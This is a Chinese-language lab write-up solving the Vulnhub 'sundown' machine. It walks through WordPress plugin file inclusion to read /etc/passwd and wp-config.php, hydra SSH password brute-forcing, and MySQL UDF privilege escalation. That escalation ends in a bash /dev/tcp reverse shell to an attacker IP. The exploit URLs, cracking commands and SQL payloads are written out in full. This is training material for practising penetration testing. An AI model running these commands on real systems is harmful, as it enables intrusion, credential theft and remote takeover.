Vulnhub-sundown
总结:该靶机是一个wordpress管理系统,需要信息收集得到插件信息,然后搜索插件漏洞,得到一个文件包含exp,利用其得到一个普通用户,利用hydra爆破密码然后ssh连接,信息收集得到一个数据库配置信息,普通命令无法查看,需要利用文件包含查看,最后利用账号密码登录mysql,然后利用UDF提权拿到root权限
目录标题
- 一、靶机搭建
- 二、信息收集
- 官方信息
- 扫ip
- 扫开放端口和服务信息
- 指纹探测
- 目录扫描
- 三、Web渗透
- 信息收集
- 框架插件漏洞利用
- 四、提权
- 信息收集
- UDF提权
- flag
一、靶机搭建
选择打开选项
选中下载的ova文件,然后导入选择一个存放路径即可
二、信息收集
官方信息
Name: sunset: sundown
Date release: 4 Aug 2020
难度:初级/中级
扫ip
靶机ip:192.168.108.155
扫开放端口和服务信息
开启了22和80端口
指纹探测
执行以下命令
nmap 192.168.108.155 -p 22,80 -sV -sC -O --version-all
拿到了一些服务信息
目录扫描
dirsearch扫描,可以得到很多目录,dirb扫描结果也是一样
收集一下可用信息:
http://192.168.108.155/robots.txt
http://192.168.108.155/wp-config.php
http://192.168.108.155/wp-admin
http://192.168.108.155/wp-content/uploads/
http://192.168.108.155/wp-includes/
http://192.168.108.155/wp-cron.php
http://192.168.108.155/wp-login.php
三、Web渗透
信息收集
打开网页,有一个搜索框,但是没有什么用,
看看网站指纹信息,发现WordPress 5.4.2
访问robots.txt,发现两个目录
看到这里想起来之前刷的DC-6靶机,也是这个框架,账户位admin
看看另一个目录,没有什么信息
访问之前扫描出来的文件上传,可能存在文件上传漏洞
访问includes文件有很多文件,但是都无法打开
看看cron文件
搜索历史漏洞
输入admin看看,账户正确,但是密码不对
框架插件漏洞利用
利用wpscan爆破,但是时间太久了,放弃
wpscan --url http://192.168.108.155 --usernames admin -P /usr/share/wordlists/rockyou.txt
看看插件信息,这里提醒一下,靶机遇到wordpress框架的,可以先查看框架的插件信息,多数存在漏洞
wpscan --url http://192.168.108.155 --enumerate p,t
拿到插件信息
搜索历史漏洞,下载下来
查看该文件得到以下信息,是文件包含漏洞
/wp-content/plugins/wp-with-spritz/wp.spritz.content.filter.php?url=/../../../..//etc/passwd
/wp-content/plugins/wp-with-spritz/wp.spritz.content.filter.php?url=http(s)://domain/exec
漏洞代码
if(isset($_GET['url'])){
$content=file_get_contents($_GET['url']); #这就很明显是文件包含了
利用代码访问,发现一个有bash权限的carlos用户
利用hydra爆破密码,密码就是用户名
hydra -l carlos -P /usr/share/wordlists/rockyou.txt ssh://192.168.108.155
ssh连接,成功登录
四、提权
信息收集
先找找可用信息
没啥用的密文
进入**/home**目录看看
进入网站源码存放目录查看,因为这是一个框架程序,所以其源码一般在网站源码下,发现配置文件信息
利用命令查看,发现权限不足,看来行不通了
想到之前的文件包含漏洞,利用该路径访问试试
http://192.168.108.155//wp-content/plugins/wp-with-spritz/wp.spritz.content.filter.php?url=/../../../..//var/www/html/wordpress/wp-config.php
成功访问,但是代码太乱了,打开源码查看,发现数据库账号密码
账户:root 密码:VjFSQ2IyRnNUak5pZWpCTENnPT0K
mysql -u root -p
成功登录
查看数据库,但是没有什么可用信息,应该需要使用UDF提权,mysql特有的一种提权方式
UDF提权
先看看版本是64位还是32位,这决定你使用的udf文件带64还是不带64
是64位后再查看secure_file_priv是否为空,因为这决定了mysql会不会对导入导出做限制
show global variables like 'secure%';
没有回显
看看具体信息,可以提权
-
secure_file_priv 的值为 NULL ,表示不允许导入导出,无法提权
-
secure_file_priv 的值为 /tmp/ ,表示导入导出只能在 /tmp/ 目录下,无法提权
-
secure_file_priv 的值为空,表示不对导入导出做限制,此时可提权
若mysql版本**>=5.1时,上传udf位置需要在mysql\lib\plugin里,通过show variables like "%plugin%"来查看(若没有则新建一个),小于的话则不需要,可以看到是大于5.1**的
查看路径
show variables like '%plugin%';
路径:/usr/lib/x86_64-linux-gnu/mariadb19/plugin/
得知以上的利用信息都允许情况下,就开始提权操作了,kali到/usr/share/metasploit-framework/data/exploits/mysql这个目录中复制64位的udf文件到本地(若是windows则用.dll文件,linux就用.so文件,根据是32位还是64位来选取不同文件)
开启web服务传输文件
成功上传
返回靶机,进入**/tmp**目录下
然后回到数据库执行下面的命令,看看mysql数据库下的数据表信息
执行下面的命令
create table shell(line blob); # 需要为blob,因为是二进制对象存储容器,存储下面load_file的返回值
insert into shell values(load_file('/tmp/lib_mysqludf_sys_64.so')); # 插入并存储load_file的返回值
写入文件并创建函数,以此来反弹shell(这里的bash一定要加-c参数,否则只有bash -i会报错)
select * from shell into dumpfile '/usr/lib/x86_64-linux-gnu/mariadb19/plugin/lib_mysqludf_sys_64.so'; # 将/tmp/udf文件写入到plugin里
create function sys_exec returns integer soname 'lib_mysqludf_sys_64.so'; # 创建函数于udf文件中加载
select sys_exec('bash -c "bash -i >& /dev/tcp/192.168.108.130/4444 0>&1"'); # 调用函数执行反弹shell
开启监听端口并执行,成功反弹shell
flag
在sundown用户目录下发现flag
值:510252fabb4b7e7dddd7373b7b3da3e8